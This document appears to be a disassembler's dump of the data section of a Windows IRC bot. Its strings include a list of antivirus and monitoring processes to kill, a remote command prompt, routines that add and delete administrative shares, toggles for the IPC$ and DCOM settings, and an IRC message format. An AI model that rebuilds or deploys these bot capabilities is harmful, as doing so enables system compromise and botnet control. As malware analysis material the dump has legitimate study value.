dd 66737365h, 796C6C75h
db 0
align 4
dd 7530h
off_439DB0 dd offset aRegedit_exe ; DATA XREF: sub_4196BD+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_439EB8
dd offset dword_439EAC
dd offset dword_439EA0
dd offset dword_439E94
dd offset dword_439E88
dd offset dword_439E7C
dd offset dword_439E6C
dd offset dword_439E60
dd offset dword_439E54
dd offset dword_439E48
dd offset dword_439E3C
dd offset dword_439E2C
dd offset dword_439E20
dd offset dword_439E10
dword_439E10 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BD+ECo
; ___:00439E0Co
dword_439E20 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o
dword_439E2C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439E04o
dword_439E3C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439E00o
dword_439E48 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo
dword_439E54 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o
dword_439E60 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o
dword_439E6C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439DF0o
dword_439E7C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439DECo
dword_439E88 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439DE8o
dword_439E94 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439DE4o
dword_439EA0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439DE0o
dword_439EAC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439DDCo
dword_439EB8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439DD8o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439DCCo
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439DC8o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439DC4o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439DC0o
align 4
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439DBCo
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439DB8o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439DB4o
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439DB0o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BD+191o
align 4
unk_439F68 db 2Dh ; - ; DATA XREF: sub_4198EC:loc_419973o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_439F8C db 2Dh ; - ; DATA XREF: sub_4198EC+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 10h
unk_439FB0 db 2Dh ; - ; DATA XREF: sub_4198EC+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419C42o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010 db 2Dh ; - ; DATA XREF: sub_419B10+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_43A038 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419BF6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_43A068 db 2Dh ; - ; DATA XREF: sub_419C65+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43A09C db 2Dh ; - ; DATA XREF: sub_419C65+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 10h
off_43A0C0 dd offset dword_43A0F8 ; DATA XREF: sub_419E7A+1B3o
; sub_41A19E+17Ao
align 8
dd offset dword_43A0F0
align 10h
off_43A0D0 dd offset dword_43A0EC ; DATA XREF: sub_41A19E+1E3o
dd offset dword_43A0E8
dd offset dword_43A0E4
dd offset dword_43A0E0
dword_43A0E0 dd 5C3A44h ; DATA XREF: sub_419E7A+217o
; ___:0043A0DCo
dword_43A0E4 dd 2444h ; DATA XREF: ___:0043A0D8o
dword_43A0E8 dd 5C3A43h ; DATA XREF: ___:0043A0D4o
dword_43A0EC dd 2443h ; DATA XREF: ___:off_43A0D0o
dword_43A0F0 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A0C8o
dword_43A0F8 dd 24435049h, 0 ; DATA XREF: ___:off_43A0C0o
dword_43A100 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+2E5o
; sub_41A19E+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A130 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_43A158 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_41A0DCo
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A184 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_43A1A8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_41A049o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A1D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_43A1F8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FACo
; sub_41A19E:loc_41A2CCo
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A228 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43A264 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419F87o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_43A298 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
; sub_41A19E+EDo
align 4
dword_43A2E8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+91o
; sub_41A19E+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43A318 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_419E7A:loc_419EE7o
dd 62617369h, 2E64656Ch, 0
dword_43A338 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E7A+54o
; sub_41A19E+54o
align 4
dword_43A368 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A19E+230o
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41A19E+219o
dword_43A398 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A33Do
; sub_41A19E:loc_41A40Eo
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+198o
; sub_41A19E+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A41C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2A7o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A454 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A494 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A19E:loc_41A20Bo
dd 6C62616Eh, 2E6465h
dword_43A4B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_43A508 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41A6AF+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AF+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AF+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AF+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AF+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AF+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AF+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AF+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AF+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AF+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AF+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AF+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AF+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AF+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AF+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AF+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AF+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AF+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AF+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88C+52o
dword_43A720 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AA43+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43A7FC dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA43+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
align 10h
aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA43+EBo
dword_43A828 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41ACF7+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43A86C dd offset word_412F4E ; DATA XREF: sub_41ACF7:loc_41AD63o
off_43A870 dd offset dword_4E414C ; DATA XREF: sub_41ACF7:loc_41AD59o
dword_43A874 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF7+5Bo
dword_43A87C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF7+48o
unk_43A88C db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF6Fo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_43A8BC db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF68o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43A8E8 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41ADB6+1A0o
dd 4C525520h, 2Eh
unk_43A904 db 2Dh ; - ; DATA XREF: sub_41ADB6:loc_41AF49o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_43A940 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41ADB6+18Co
dd 64657469h, 2Eh
dword_43A95C dd 2A2F2Ah ; DATA XREF: sub_41ADB6+3Bo
dword_43A960 dd 5FBC83C5h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
align 10h
dword_43A970 dd 173Fh ; DATA XREF: sub_41C679+Dr
dd 9875h, 9873h
off_43A97C dd offset sub_41C748 ; DATA XREF: ___:0041B784r
dd offset nullsub_2
dd offset nullsub_2
dword_43A988 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr
dword_43A98C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o
; sub_41CC4A+2o
off_43A9A0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr
dword_43A9A4 dd 2 ; DATA XREF: sub_423590+Er
; sub_4235C9+46r ...
dd 10h, 0
off_43A9B0 dd offset off_43A9B0 ; DATA XREF: sub_41E976+Do
; sub_41E976+69o ...
off_43A9B4 dd offset off_43A9B0 ; DATA XREF: sub_41E976:loc_41E9F6r
; sub_41E976+89w ...
dd offset dword_43A9C8
dd offset dword_43A9C8
dword_43A9C0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r
; sub_41EABA:loc_41EB07w
dd 0FFFFFFFFh
dword_43A9C8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A9B8o
; ___:0043A9BCo
off_43C9D0 dd offset off_43A9B0 ; DATA XREF: sub_41EABA+15r
; sub_41EABA+20w ...
dword_43C9D4 dd 1E0h ; DATA XREF: sub_41B202+185r
; sub_41B513:loc_41B54Fr ...
off_43C9D8 dd offset word_43C9E2 ; DATA XREF: sub_41B6EE+23r
; sub_41B6EE:loc_41B74Fr ...
off_43C9DC dd offset word_43C9E2 ; DATA XREF: sub_426BC1+18r
db 2 dup(0)
word_43C9E2 dw 20h ; DATA XREF: sub_424D47+18r
; ___:off_43C9D8o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBE4 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r
; sub_41B6EE:loc_41B73Ar ...
byte_43CBE8 db 2Eh ; DATA XREF: sub_420510:loc_420804r
; sub_420510+311r ...
align 4
dd 1
off_43CBF0 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r
; sub_41F69F+457r
; "(null)"
off_43CBF4 dd offset aNull ; DATA XREF: sub_41F69F+259r
; "(null)"
byte_43CBF8 db 1 ; DATA XREF: sub_41FEA9+E1r
db 2, 4, 8
align 10h
dword_43CC00 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo
dword_43CC04 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr
dword_43CC10 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0 dd 1 ; DATA XREF: sub_41FEA9+3Co
; sub_4203DF+Co
dword_43CCF4 dd 16h ; DATA XREF: sub_4203DF:loc_420414r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE58 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o
; sub_420510:loc_420A77o
dword_43CE60 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o
dword_43CE68 dd 14h ; DATA XREF: sub_421624+2o
off_43CE6C dd offset aExp ; DATA XREF: sub_421624:loc_421641r
; "exp"
dd 1Dh, 427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h
dd 13h, 427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
dd 0Fh, 427838h, 10h, 427830h, 5, 427828h, 1Eh, 427824h
dd 12h, 427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
dd 15h, 427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
dd 18h, 4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
dd 23h, 4277CCh, 24h, 4277C8h
dbl_43CF40 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r
; sub_42135F:loc_421446r ...
dd 0
dd 0FFF80000h
dbl_43CF50 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r
; sub_42135F:loc_42141Er ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43CF68 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
; sub_42180C+1Fr
align 4
tbyte_43CF74 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
align 10h
off_43CF80 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw
; sub_41F69F+3AAr
off_43CF84 dd offset sub_421935 ; DATA XREF: sub_41C760+5w
; sub_41F69F+3E2r
off_43CF88 dd offset sub_42199B ; DATA XREF: sub_41C760+14w
; sub_420510+430r
off_43CF8C dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew
; sub_41F69F+3CBr
off_43CF90 dd offset sub_421983 ; DATA XREF: sub_41C760+28w
off_43CF94 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w
dd offset sub_42470C
align 10h
dd offset sub_42255C
off_43CFA4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r
dword_43CFA8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar
; sub_422E2F+11o ...
dword_43CFAC dd 0Bh ; DATA XREF: sub_425A82+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D020 dd 3 ; DATA XREF: ___:00422D46r
; sub_425955+C8r
dword_43D024 dd 7 ; DATA XREF: ___:00422D4Cr
; sub_425955+CDr
dword_43D028 dd 0Ah ; DATA XREF: sub_422E2F+4r
; sub_425A82+4r
dword_43D02C dd 8Ch ; DATA XREF: ___:00422D70r
; ___:00422D7Dw ...
dword_43D030 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o
; sub_41F58A:loc_41F647o
dword_43D038 dd 2 ; DATA XREF: sub_4235C9+Eo
; sub_4235C9+28r
off_43D03C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
; sub_4235C9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B8Ch, 9, 427B60h, 0Ah, 427B3Ch, 10h, 427B10h
dd 11h, 427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
dd 19h, 427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
dd 78h, 427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
dd 0FFh, 427958h
off_43D0C8 dd offset dword_4DBC80 ; DATA XREF: sub_4235C9+1Bo
; sub_423936+55o
align 10h
dd offset dword_4DBC80
dd 101h
dword_43D0D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o
dd 1000h, 0
dword_43D0E8 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o
; sub_420446+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o
; sub_420446:loc_420464o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo
dword_43D348 dd 2 dup(0) ; DATA XREF: sub_423936+69o
dword_43D350 dd 2694h ; DATA XREF: sub_420FC1+3r
; sub_421014+46r
align 8
dword_43D358 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo
dword_43D370 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388 dd 7080h ; DATA XREF: sub_422669+76r
; sub_4247EC+5Ew ...
dword_43D38C dd 1 ; DATA XREF: sub_422669+98r
; sub_4247EC+8Bw ...
dword_43D390 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br
; sub_4247EC+94w ...
off_43D394 dd offset loc_545350 ; DATA XREF: ___:off_43D414o
dd 0Fh dup(0)
off_43D3D4 dd offset dword_544450 ; DATA XREF: ___:off_43D418o
dd 0Fh dup(0)
off_43D414 dd offset off_43D394 ; DATA XREF: sub_4247EC+BAr
; sub_4247EC+D9r ...
off_43D418 dd offset off_43D3D4 ; DATA XREF: sub_4247EC+F4r
; sub_4247EC+11Br ...
align 10h
dword_43D420 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw
; sub_424A4A+1Er ...
dword_43D424 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er
; sub_424BF6+BFw
dword_43D428 dd 0 ; DATA XREF: sub_424A4A+192r
; sub_424BF6+E0w
align 10h
dword_43D430 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w
; sub_424A4A+26r ...
dword_43D434 dd 0 ; DATA XREF: sub_424A4A+13Ar
; sub_424BF6+EAw ...
dword_43D438 dd 0 ; DATA XREF: sub_424A4A+1A1r
; sub_424BF6+23r ...
dword_43D43C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43D46C dd 16Dh ; DATA XREF: sub_422669+2Ar
; sub_424BF6+2Er ...
dword_43D470 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43D4A8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D608 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_425DDA+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
